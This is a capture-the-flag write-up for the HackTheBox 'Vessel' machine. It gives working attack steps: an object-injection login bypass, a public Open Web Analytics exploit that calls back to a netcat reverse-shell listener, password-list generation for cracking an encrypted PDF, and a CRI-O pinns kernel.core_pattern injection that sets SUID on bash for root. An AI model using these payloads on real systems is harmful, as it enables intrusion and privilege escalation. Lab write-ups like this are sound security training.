Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel]
└─$ nmap -sC -sV -oN nmapresults.txt -vv -T4 10.10.11.178
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 12:30 CEST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Initiating Ping Scan at 12:30
Scanning 10.10.11.178 [2 ports]
Completed Ping Scan at 12:30, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:30
Completed Parallel DNS resolution of 1 host. at 12:30, 1.05s elapsed
Initiating Connect Scan at 12:30
Scanning 10.10.11.178 [1000 ports]
Discovered open port 22/tcp on 10.10.11.178
Discovered open port 80/tcp on 10.10.11.178
Completed Connect Scan at 12:30, 1.43s elapsed (1000 total ports)
Initiating Service scan at 12:30
Scanning 2 services on 10.10.11.178
Completed Service scan at 12:31, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.178.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.87s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.11s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.00s elapsed
Nmap scan report for 10.10.11.178
Host is up, received syn-ack (0.021s latency).
Scanned at 2022-09-25 12:30:58 CEST for 9s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRkVUZvNhJjWa+g8L2AvSkSx0UUQEWfqMP7peYHvV6ZkUiZgpXHDTIIu6VUJ0JgGvrM4RU7ZBEaWv7HJ+PWmv+tqOGdQC3O8MT4LadUlAod4aceqOUJKXjGW8f09s0XFg7WFFOzTPEserrn1StwLWDl/OEZmC4UjjaGnfTax/FfQuaLZOOEEFAayJhOVI05+zSAIkjOlNF4jHwWUKfaQ1v4of/HoZrBpyy9kUarhrkR2WuepT2z1zOSipvkYQyQgbA4xt44ZMaD8K/gX4+T3Tldoo7QzK48v40X/1hjbaznCXnv5W7cV8OTU7H7jTTbJ7YFeKk6SggOJTBB/jUbscVYSUFma/a6VQvlpJccHrYakf1m7nnW108Qk71dn6J0rZW/deLLRpfwtJsTD8xURupA9wCOWgw8HX/afxqbRTGWkr5spGHCJFVc2ITVH+fVZY1gr4u14r5gXDZo20iRoRtwJI7+sXxOxQMB/XHYG9hmx2E7Z8uJw0nq0Nl8DCh2jM=
| 256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI228amP4DtyQ7hh3fSYHcLZlahh+YMF0aLTZ9N/0RaUtRLM9lBdVPHvN6h1SJ45wg1rXsdrNql7L/qqr0G3q2Q=
| 256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJD+aZKxj3tW8fIaoig7O/RmU2zGCu48tA485peYqixq
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Vessel
|_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:31
Completed NSE at 12:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.04 seconds
Segmentation fault

Taking a look at the webserver

We find ourselves /login (but we do not have creds) and /register (but that doesn’t seem to be working). I did intercept the /login and /register request. The request sends a POST request to /api/register and /api/login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/register HTTP/1.1
Host: 10.10.11.178
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.178
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en
Referer: http://10.10.11.178/register
Accept-Encoding: gzip, deflate
Connection: close

But after sending the request to the server, we are getting redirected back to the register page. I couldn’t find a way around it, so let’s start dirbuster.

Dirbuster

Dirbuster found a /dev directory and within this directory a .git directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ dirb http://10.10.11.178/dev/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Sep 25 12:59:01 2022
URL_BASE: http://10.10.11.178/dev/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.11.178/dev/ ----
+ http://10.10.11.178/dev/.git/HEAD (CODE:200|SIZE:23)

.Git code

Let’s use wto get all the files from the git directory on the webserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel/GitTools/Dumper]
└─$ ./gitdumper.sh http://vessel.htb/dev/.git/ ./repo
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########

[*] Destination folder does not exist
[+] Creating ./repo/.git/
[+] Downloaded: HEAD
[+] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[+] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[+] Downloaded: refs/remotes/origin/HEAD
[+] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[+] Downloaded: logs/refs/remotes/origin/HEAD
[+] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: /refs/wip/index/refs/heads/master
[+] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/20/8167e785aae5b052a4a2f9843d74e733fbd917
[+] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f1/369cfecb4a3125ec4060f1a725ce4aa6cbecd3
[+] Downloaded: objects/a5/455761f6c64f7b640b854e7ee62578b4672229
[+] Downloaded: objects/df/dd6d3b04d4a0b92fc4b1970047428664a44fe8
[+] Downloaded: objects/42/5d33b76df91e15e17f544c5d5175f4990d275a
[+] Downloaded: objects/c0/80d103cad419b92b5cc656bf66a704fa47cb57
[+] Downloaded: objects/49/3a755da3b2060132ba05c1f1254743fee59866
[+] Downloaded: objects/47/77a1429f94dcf8e738a68431b76c0f7381c3e5
[+] Downloaded: objects/a2/45dc1fc056931f3e8ebe6f731009783cacf3e6
[+] Downloaded: objects/4a/51d19783e832a3aea2fe8e9601d8b8b4123cb8
[+] Downloaded: objects/ed/b18f3e0cd9ee39769ff3951eeb799dd1d8517e
[+] Downloaded: objects/5a/1fe4823ed00ca8d4287f1a90a61d02a7832fa1

Quite a lot to take into consideration. So lets start by looking at config:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel/repo/.git]
└─$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Ethan
email = ethan@vessel.htb

We find Ethan as a possible username.

Another interesting file that I found was index.js in /routes which also included the /login endpoint sourcecode.

1
2
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {

Notice how the [username, password] objects are being parsed. They are not being checked or converted into a string, which means that we whole object itself will get parsed. We can use this to our advantage to bypass the authentication with burpsuite.

I intercepted the login request and changed it to the object like in the sourcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/login HTTP/1.1
Host: vessel.htb
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vessel.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://vessel.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AYupDipjwMxbyQpcb8R7kthX21QG3f8Ix.VnsuQZsaV1MH12NJXp0H6Mf6hCGzF6m1FckHUTgna0g
Connection: close

username=admin&password**[password]=1**

Notice how we use the object [password] here.


Adminpage

On the admin page we do not find a lot of interesting things like passwords, but we do find a subdomain:

When clicking on Analytics, we find out that we are being directed to openwebanalytics, so lets add that to the hostfile.

When we reload the page, we see a login page:

We do not have credentials yet. So I googled for vulnerabilities within openwebanalytics and found a recent vulnerability:

https://devel0pment.de/?p=2494

The vulnerability is quite complex to do manually. Lucky for us, there is a publicly available exploit on Github that we can use:

https://raw.githubusercontent.com/garySec/CVE-2022-24637/main/exploit.py

Usage:

1
2
3
4
5
6
7
8
9
10
11
┌──(remco㉿nb-rem)-[~/HackTheBox/Vessel/repo/routes]
└─$ python3 exploit.py http://openwebanalytics.vessel.htb 10.10.14.170 1234
Attempting to generate cache for "admin" user
Attempting to find cache of "admin" user
Found temporary password for user "admin": 5fcf368c799bb4fdad2ee12100c7b0ca
Changed the password of "admin" to "admin"
Logged in as "admin" user
Creating log file
Wrote payload to log file
Triggering payload! Check your listener!
You can trigger the payload again at "http://openwebanalytics.vessel.htb/owa-data/caches/VXodhhFU.php"

And indeed, we get a call back to our listener:

1
2
3
4
5
6
┌──(remco㉿nb-rem)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [172.26.198.108] from (UNKNOWN) [172.26.192.1] 63906
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Decompiling Passwordgenerator

www-data is able to change its directory to steven’s home directory and read the content inside it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
drwxrwxr-x 3 steven steven     4096 Aug 11 14:43 .
drwxr-xr-x 4 root root 4096 Aug 11 14:43 ..
lrwxrwxrwx 1 root root 9 Apr 18 14:45 .bash_history -> /dev/null
-rw------- 1 steven steven 220 Apr 17 18:38 .bash_logout
-rw------- 1 steven steven 3771 Apr 17 18:38 .bashrc
drwxr-xr-x 2 ethan steven 4096 Aug 11 14:43 .notes
-rw------- 1 steven steven 807 Apr 17 18:38 .profile
-rw-r--r-- 1 ethan steven 34578147 May 4 11:03 passwordGenerator
www-data@vessel:/home/steven$ cd .notes
cd .notes
www-data@vessel:/home/steven/.notes$ ls -la
ls -la
total 40
drwxr-xr-x 2 ethan steven 4096 Aug 11 14:43 .
drwxrwxr-x 3 steven steven 4096 Aug 11 14:43 ..
-rw-r--r-- 1 ethan steven 17567 Aug 10 18:42 notes.pdf
-rw-r--r-- 1 ethan steven 11864 May 2 21:36 screenshot.png
www-data@vessel:/home/steven/.notes$

We find three interesting files:

  • passwordGenerator
  • .notes/notes.pdf
  • .notes/screenshot.png

I downloaded all of them by starting a simple http server inside the home directory of steven:

1
2
3
4
5
6
www-data@vessel:/home/steven$ python3 -m http.server 9001
python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
10.10.14.170 - - [13/Oct/2022 16:42:09] "GET /passwordGenerator HTTP/1.1" 200 -
10.10.14.170 - - [13/Oct/2022 16:42:20] "GET /.notes/notes.pdf HTTP/1.1" 200 -
10.10.14.170 - - [13/Oct/2022 16:42:28] "GET /.notes/screenshot.png HTTP/1.1" 200 -

notes.pdf in encrypted with a password, so we need the password before we are able to read it. I tried to crack it with rockyou.txt but it didn’t do the trick. So I am guessing we have to take a look at the passwordGenerator executable.

screenshot.png:

The screenshot looks like it is a screenshot from the passwordGenerator program. Time to look at that generator by decompiling it!

So, when you download the file executable, you do not see that it is a executable, but if you add the file extension to the file, you will see the following:

Right of the bet I noticed that this executable was made with Python (because of the icon). We can use pyinstxtractor to extract the contents of a PyInstaller generated executable file:

https://github.com/extremecoders-re/pyinstxtractor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(remco㉿nb-rem)-[~/HackTheBox/Vessel]
└─$ python3 pyinstxtractor.py passwordGenerator.exe
[+] Processing passwordGenerator.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: passwordGenerator.exe

You can now use a python decompiler on the pyc files within the extracted directory

Next, we need a python decompiler to actually get to the sourcecode. But we do need python3.7 and a Windows machine in order to do this with python-uncompyle6:

https://github.com/rocky/python-uncompyle6/

or:

1
pip install uncompyle6

Then we can use uncompyle6 do decompile passwordgenerator.pyc. After looking at the sourcecode we find a genPassword function that generates a password. What a surprise.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)

except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()

return password

Getting to user Ethan

Notice how the function sets a length and a char. In the screenshot we saw that the password that was being generated, had a length of 32 and a char of 0 (first option). The charset is 89 characters long, so that means that at first glance, the possible password combinations must be 32^89.

Well.. that is not actually true. QT signafically decreases the possible combinations for passwords in the way it was implemented in the code. So in theory we can let this function generate a password list for us with all possible combinations and use john to crack the PDF.

I wrote a extra function and cleaned up the genPassword() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from PySide2.QtCore import *

def genPassword():
length = 32
char = 0
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)

return password

def getCombinations():
passwords = []
while True:
password = genPassword()
if password not in passwords:
passwords.append(password)
if len(passwords) != 1000:
continue
else:
break

return passwords

passwordlist = getCombinations()

with open('list.txt', 'w') as passfile:
for i in passwordlist:
passfile.write(i)
passfile.write('\n')

The while loop will continue to generate unique passwords untill the unique passwords length hit a 1000 passwords. Finally, the program will open a .txt file and add all the passwords into the wordlist.

Now that we have the wordlist, we can use johntheripper to crack the PDF:

1
2
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel]
└─$ sudo john forjohn --wordlist=./list.txt

John got the password very fast.

1
2
3
4
5
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel]
└─$ sudo john --show forjohn
notes.pdf:YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS

1 password hash cracked, 0 left

Lets try to open the PDF with this password:

Looks like we have credentials to login with SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿DESKTOP-FQ305P5)-[~/Documents/HackTheBox/Vessel]
└─$ ssh ethan@vessel.htb
ethan@vessel.htb's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri 14 Oct 2022 08:33:44 AM UTC

System load: 0.0 Processes: 226
Usage of /: 66.4% of 4.76GB Users logged in: 0
Memory usage: 17% IPv4 address for eth0: 10.10.11.178
Swap usage: 0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Oct 14 06:09:24 2022 from 10.10.16.17
ethan@vessel:~$

PE to root

When I listed all SUID binaries, I found this /usr/bin/pinns binary which is not a ordinary binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ethan@vessel:~$ find / -type f -perm -04000 -ls 2>/dev/null
49965 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
48958 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
55405 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
54692 52 -rwsr-xr-- 1 root messagebus 51344 Apr 29 12:03 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
49259 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
54664 68 -rwsr-xr-x 1 root root 68208 Mar 14 2022 /usr/bin/passwd
54663 88 -rwsr-xr-x 1 root root 88464 Mar 14 2022 /usr/bin/gpasswd
49681 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
61819 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
49222 44 -rwsr-xr-x 1 root root 44784 Mar 14 2022 /usr/bin/newgrp
54660 84 -rwsr-xr-x 1 root root 85064 Mar 14 2022 /usr/bin/chfn
49079 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
54661 52 -rwsr-xr-x 1 root root 53040 Mar 14 2022 /usr/bin/chsh
61818 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
49951 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su
**48900 796 -rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns**
ethan@vessel:~$

GTFO bins did not have anything about pinns, so I googled for any pinns CVE’s, and came across two interesting articles about the same CVE-2022-0811:

https://sysdig.com/blog/cve-2022-0811-cri-o/

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

The vulnerability itself is within cri-o 1.19+. So let’s check which version we are running:

1
2
3
4
5
6
7
8
9
10
11
ethan@vessel:~$ crio --version
crio version 1.19.6
Version: 1.19.6
GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
GitTreeState: clean
BuildDate: 2022-03-15T18:18:24Z
GoVersion: go1.15.2
Compiler: gc
Platform: linux/amd64
Linkmode: dynamic
ethan@vessel:~$

Version 1.19.6, which means we are probably running a vulnerable version of crio here.

The vulnerability is “_due to the addition of sysctl support in version 1.19, pinns will now blindly set any kernel parameters it’s passed without validation. A malicious user can pass in sysctl values with + and = characters allowing extra kernel settings to be set through pinns_”. Source: https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

So how do we exploit this vulnerability? First, we need to create a malicious script that will execute later as root:

1
2
#!/bin/bash
chmod +s /usr/bin/bash

Make sure to set the executable permission with chmod + x

We have to place this script inside /tmp/incendium. Because all *.sh scripts will get deleted in /tmp and /home/steven /home/ethan from a cronjob found with pspy.

Next, we need to set a kernel parameter to a file that will execute based on a kernel action. Just like the PoC of the crowdstrike post, we will use the kernel dump parameter for this:

1+kernel.core_pattern=/tmp/incendium/pwned.sh

Next we need to know the syntax of pinns to set this parameter. This was quite tricky, but I found a github issue that uses some parameters with pinns to set a parameter:

https://github.com/cri-o/cri-o/issues/4476

So with all this together we have something like:

1
pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/incendium/pwned.sh' --ipc --net --uts

Lets try that:

1
2
ethan@vessel:/tmp/incendium$ pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/incendium/pwned.sh' --ipc --net --uts
ethan@vessel:/tmp/incendium$

That worked! Now we need to force a kernel dump just like the PoC from crowdstrike:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ethan@vessel:/tmp/incendium$ ulimit -c unlimited
ethan@vessel:/tmp/incendium$ ulimit -c
unlimited
ethan@vessel:/tmp/incendium$ tail -f /dev/null &
[1] 6036
ethan@vessel:/tmp/incendium$ ps
PID TTY TIME CMD
5656 pts/0 00:00:00 bash
6036 pts/0 00:00:00 tail
6037 pts/0 00:00:00 ps
ethan@vessel:/tmp/incendium$ kill -SIGSEGV 6036
ethan@vessel:/tmp/incendium$ bash -i
bash-5.0$ exit
exit
[1]+ Segmentation fault **(core dumped)** tail -f /dev/null
ethan@vessel:/tmp/incendium$ ls -la /usr/bin/bash
**-rwsr-sr-x 1** root root 1183448 Apr 18 09:14 /usr/bin/bash
ethan@vessel:/tmp/incendium$

As you can see, our script was executed as root and set the SUID bit for /usr/bin/bash. Now we can easily get to root with bash -p

1
2
3
ethan@vessel:/tmp/incendium$ bash -p
bash-5.0# chmod -s /usr/bin/bash
bash-5.0#

And ofcourse unset the SUID bit 😛